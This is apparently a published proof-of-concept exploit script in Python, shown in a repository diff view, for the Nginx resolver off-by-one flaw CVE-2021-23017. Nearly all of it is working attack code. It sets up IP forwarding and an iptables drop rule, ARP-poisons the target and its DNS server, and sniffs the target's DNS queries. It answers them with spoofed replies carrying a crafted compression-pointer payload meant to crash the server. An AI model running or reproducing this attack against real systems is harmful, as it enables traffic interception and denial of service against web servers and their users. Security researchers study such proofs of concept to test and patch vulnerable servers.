1
+ # Exploit Title: Nginx 1.20.0 - Denial of Service (DOS)
2
+ # Date: 2022-6-29
3
+ # Exploit Author: Mohammed Alshehri - https://Github.com/M507
4
+ # Vendor Homepage: https://nginx.org/
5
+ # Software Link: https://github.com/nginx/nginx/releases/tag/release-1.20.0
6
+ # Version: 0.6.18 - 1.20.0
7
+ # Tested on: Ubuntu 18.04.4 LTS bionic
8
+ # CVE: CVE-2021-23017
9
+ # The bug was discovered by X41 D-SEC GmbH, Luis Merino, Markus Vervier, Eric Sesterhenn
10
+ # python3 poc.py --target 172.1.16.100 --dns_server 172.1.16.1
11
+ # The service needs to be configured to use Nginx resolver
12
+
13
+ from scapy .all import *
14
+ from multiprocessing import Process
15
+ from binascii import hexlify , unhexlify
16
+ import argparse , time , os
17
+
18
+ def device_setup ():
19
+ os .system ("echo '1' >> /proc/sys/net/ipv4/ip_forward" )
20
+ os .system ("iptables -A FORWARD -p UDP --dport 53 -j DROP" )
21
+
22
+ def ARPP (target , dns_server ):
23
+ print ("[*] Sending poisoned ARP packets" )
24
+ target_mac = getmacbyip (target )
25
+ dns_server_mac = getmacbyip (dns_server )
26
+ while True :
27
+ time .sleep (2 )
28
+ send (ARP (op = 2 , pdst = target , psrc = dns_server , hwdst = target_mac ),verbose = 0 )
29
+ send (ARP (op = 2 , pdst = dns_server , psrc = target , hwdst = dns_server_mac ),verbose = 0 )
30
+
31
+ def exploit (target ):
32
+ print ("[*] Listening " )
33
+ sniff (filter = "udp and port 53 and host " + target , prn = process_received_packet )
34
+
35
+ """
36
+ RFC schema
37
+ 0 1 2 3
38
+ 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
39
+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
40
+ | LENGTH | ID |
41
+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
42
+ |Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT |
43
+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
44
+ | ANCOUNT | NSCOUNT |
45
+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
46
+ | ARCOUNT | QD |
47
+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
48
+ | AN | NS |
49
+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
50
+ | AR |
51
+ +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
52
+
53
+ Fig. DNS
54
+
55
+ """
56
+ def process_received_packet (received_packet ):
57
+ if received_packet [IP ].src == target_ip :
58
+ if received_packet .haslayer (DNS ):
59
+ if DNSQR in received_packet :
60
+ print ("[*] the received packet: " + str (bytes_hex (received_packet )))
61
+ print ("[*] the received DNS request: " + str (bytes_hex (received_packet [DNS ].build ())))
62
+ try :
63
+ # \/ the received DNS request
64
+ dns_request = received_packet [DNS ].build ()
65
+ null_pointer_index = bytes (received_packet [DNS ].build ()).find (0x00 ,12 )
66
+ print ("[*] debug: dns_request[:null_pointer_index] : " + str (hexlify (dns_request [:null_pointer_index ])))
67
+ print ("[*] debug: dns_request[null_pointer_index:] : " + str (hexlify (dns_request [null_pointer_index :])))
68
+ payload = [
69
+ dns_request [0 :2 ],
70
+ b"\x81 \x80 \x00 \x01 \x00 \x01 \x00 \x00 \x00 \x00 " ,
71
+ dns_request [12 :null_pointer_index + 1 ],
72
+ dns_request [null_pointer_index + 1 :null_pointer_index + 3 ],
73
+ dns_request [null_pointer_index + 3 :null_pointer_index + 5 ],
74
+ b"\xC0 \x0C \x00 \x05 \x00 \x01 \x00 \x00 \x0E \x10 " ,
75
+ b"\x00 \x0B \x18 \x41 \x41 \x41 \x41 \x41 \x41 \x41 " ,
76
+ b"\x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 " ,
77
+ b"\x41 \x41 \x41 \x41 \x41 \x41 \x41 \xC0 \x04 "
78
+ ]
79
+
80
+ payload = b"" .join (payload )
81
+ spoofed_pkt = (Ether ()/ IP (dst = received_packet [IP ].src , src = received_packet [IP ].dst )/ \
82
+ UDP (dport = received_packet [UDP ].sport , sport = received_packet [UDP ].dport )/ \
83
+ payload )
84
+ print ("[+] dns answer: " + str (hexlify (payload )))
85
+ print ("[+] full packet: " + str (bytes_hex (spoofed_pkt )))
86
+
87
+ sendp (spoofed_pkt , count = 1 )
88
+ print ("\n [+] malicious answer was sent" )
89
+ print ("[+] exploited\n " )
90
+ except :
91
+ print ("\n [-] ERROR" )
92
+
93
+ def main ():
94
+ global target_ip
95
+ parser = argparse .ArgumentParser ()
96
+ parser .add_argument ("-t" , "--target" , help = "IP address of the target" )
97
+ parser .add_argument ("-r" , "--dns_server" , help = "IP address of the DNS server used by the target" )
98
+ args = parser .parse_args ()
99
+ target_ip = args .target
100
+ dns_server_ip = args .dns_server
101
+ device_setup ()
102
+ processes_list = []
103
+ ARPPProcess = Process (target = ARPP ,args = (target_ip ,dns_server_ip ))
104
+ exploitProcess = Process (target = exploit ,args = (target_ip ,))
105
+ processes_list .append (ARPPProcess )
106
+ processes_list .append (exploitProcess )
107
+ for process in processes_list :
108
+ process .start ()
109
+ for process in processes_list :
110
+ process .join ()
111
+
112
+ if __name__ == '__main__' :
113
+ target_ip = ""
114
+ main ()
0 commit comments